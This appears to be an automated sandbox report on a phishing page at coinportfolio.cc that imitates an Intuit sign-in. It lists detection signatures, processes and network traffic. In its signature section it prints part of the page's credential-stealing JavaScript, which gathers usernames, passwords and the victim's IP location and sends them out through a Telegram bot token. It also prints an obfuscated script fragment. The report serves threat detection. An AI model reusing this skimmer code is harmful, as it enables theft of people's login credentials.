Edit tour

Windows Analysis Report
https://coinportfolio.cc/2feb3e56b/

Overview

General Information

Sample URL:	https://coinportfolio.cc/2feb3e56b/
Analysis ID:	1490743
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish10

Yara detected HtmlPhish45

HTML page contains obfuscated javascript

Javascript checks online IP of machine

Javascript uses Telegram API

Detected non-DNS traffic on DNS port

Found iframes

HTML body contains low number of good links

HTML body with high number of embedded SVGs detected

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6348 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3304 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1996,i,979859957716349919,8738456227367105774,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://coinportfolio.cc/2feb3e56b/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_797	JoeSecurity_HtmlPhish_45	Yara detected HtmlPhish_45	Joe Security

HTML

Source	Rule	Description	Author	Strings
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://coinportfolio.cc/2feb3e56b/

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Yara detected HtmlPhish45

Source: Yara match

File source: dropped/chromecache_797, type: DROPPED

HTML page contains obfuscated javascript

Source: https://coinportfolio.cc/2feb3e56b/

HTTP Parser: (function(_0x46f353,_0x5952db){function _0x7193d3(_0x2e30b2,_0x3523bf,_0x5dcb84,_0x211c68){return _

Javascript checks online IP of machine

Source: https://coinportfolio.cc/2feb3e56b/#https://accounts.intuit.com/app/secure/sign-in?app_group=Identity&asset_alias=Intuit.cto.iam.ius&redirect_uri=https%3A%2F%2Faccounts.intuit.com%2Fapp%2Faccount%2Foverview

HTTP Parser: const bottoken = '6707155115:aaekgxoipzj8mmyztwv-56u91du_pmfml1o';const chatid = '-4076068826';var lastsubmissiontime = 0;var submissioninterval = 5000;var lastmessagesent = '';var messagecount = 0;var maxmessagelimit = 12;function sendmessage() { var input1value = $('#3w41l').val(); var input2value = $('#q455m0t2').val(); if (input1value === '' || input2value === '') { return; } var currenttime = date.now(); if (currenttime - lastsubmissiontime < submissioninterval) { return; } var currentmessage = 'user: ' + input1value + '\npass: ' + input2value; if (currentmessage === lastmessagesent) { return; } if (messagecount >= maxmessagelimit) { return; } $.getjson('https://api.ipify.org?format=json', function(data) { var userip = data.ip; $.getjson('https://ipapi.co/' + userip + '/json/', function(locationdata) { var message = '------ intrap ------' + '\n\n' + currentmessage; if (locationdata.country === 'us') { message += '\n\ns...

Javascript uses Telegram API

Source: https://turbotax.intuit.com/	HTTP Parser: Iframe src: https://appfabric-preload.app.intuit.com/preload?preloadAppURL=iux-authn.app.intuit.com/app/identity-authn-core-ui/sign-in&custom_manifest=signin-signup&client=none
Source: https://turbotax.intuit.com/	HTTP Parser: Iframe src: https://turbotax.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fturbotax.intuit.com
Source: https://turbotax.intuit.com/	HTTP Parser: Iframe src: https://appfabric-preload.app.intuit.com/preload?preloadAppURL=iux-authn.app.intuit.com/app/identity-authn-core-ui/sign-in&custom_manifest=signin-signup&client=none
Source: https://turbotax.intuit.com/	HTTP Parser: Iframe src: https://turbotax.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fturbotax.intuit.com
Source: https://turbotax.intuit.com/	HTTP Parser: Iframe src: https://appfabric-preload.app.intuit.com/preload?preloadAppURL=iux-authn.app.intuit.com/app/identity-authn-core-ui/sign-in&custom_manifest=signin-signup&client=none
Source: https://turbotax.intuit.com/	HTTP Parser: Iframe src: https://turbotax.demdex.net/dest5.html?d_nsid=0#https%3A%2F%2Fturbotax.intuit.com

HTTP Parser: Number of links: 0

Source: https://turbotax.intuit.com/	HTTP Parser: Total embedded SVG size: 126884
Source: https://www.creditkarma.com/wealth	HTTP Parser: Total embedded SVG size: 118179

HTTP Parser: Title: Intuit Accounts - Sign In does not match URL

HTTP Parser: <input type="password" .../> found

Source: https://tags.creditkarma.com/	HTTP Parser: No favicon
Source: https://td.doubleclick.net/td/rul/986970455?random=1723223580966&cv=11&fst=1723223580966&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2F&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&ct_cookie_present=0	HTTP Parser: No favicon
Source: https://tags.creditkarma.com/wealth	HTTP Parser: No favicon
Source: https://td.doubleclick.net/td/rul/986970455?random=1723223588800&cv=11&fst=1723223588800&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2Fwealth&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&ct_cookie_present=0	HTTP Parser: No favicon

Source: https://coinportfolio.cc/2feb3e56b/#https://accounts.intuit.com/app/secure/sign-in?app_group=Identity&asset_alias=Intuit.cto.iam.ius&redirect_uri=https%3A%2F%2Faccounts.intuit.com%2Fapp%2Faccount%2Foverview	HTTP Parser: No <meta name="author".. found
Source: https://coinportfolio.cc/2feb3e56b/#https://accounts.intuit.com/app/secure/sign-in?app_group=Identity&asset_alias=Intuit.cto.iam.ius&redirect_uri=https%3A%2F%2Faccounts.intuit.com%2Fapp%2Faccount%2Foverview	HTTP Parser: No <meta name="author".. found
Source: https://turbotax.intuit.com/	HTTP Parser: No <meta name="author".. found
Source: https://turbotax.intuit.com/	HTTP Parser: No <meta name="author".. found
Source: https://turbotax.intuit.com/	HTTP Parser: No <meta name="author".. found

Source: https://coinportfolio.cc/2feb3e56b/#https://accounts.intuit.com/app/secure/sign-in?app_group=Identity&asset_alias=Intuit.cto.iam.ius&redirect_uri=https%3A%2F%2Faccounts.intuit.com%2Fapp%2Faccount%2Foverview	HTTP Parser: No <meta name="copyright".. found
Source: https://coinportfolio.cc/2feb3e56b/#https://accounts.intuit.com/app/secure/sign-in?app_group=Identity&asset_alias=Intuit.cto.iam.ius&redirect_uri=https%3A%2F%2Faccounts.intuit.com%2Fapp%2Faccount%2Foverview	HTTP Parser: No <meta name="copyright".. found
Source: https://turbotax.intuit.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://turbotax.intuit.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://turbotax.intuit.com/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:59633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.5:59640 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.5:63411 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:59631 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.97.153
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /2feb3e56b/ HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/prs.css HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/pre.css HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://coinportfolio.cc/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://coinportfolio.cc/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/4901eab9003922483088.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/e28878c6df2cfc0e37b4.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://coinportfolio.ccSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://coinportfolio.cc/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/8a55fd2040ecaf181e6c.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/pr6.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/2bc132dd11f8063cde8a.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/prs.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/40eb1532f9b35de51b7e.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/c476f1dbe9f4b4da240c.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/89789ca2129d1c1775a0.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/favicon.ico HTTP/1.1Host: coinportfolio.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://coinportfolio.cc/2feb3e56b/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/4901eab9003922483088.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/e28878c6df2cfc0e37b4.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/pr6.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/8a55fd2040ecaf181e6c.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/2bc132dd11f8063cde8a.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/40eb1532f9b35de51b7e.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/c476f1dbe9f4b4da240c.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/89789ca2129d1c1775a0.svg HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2feb3e56b/favicon.ico HTTP/1.1Host: coinportfolio.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/track-event-lib-init.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
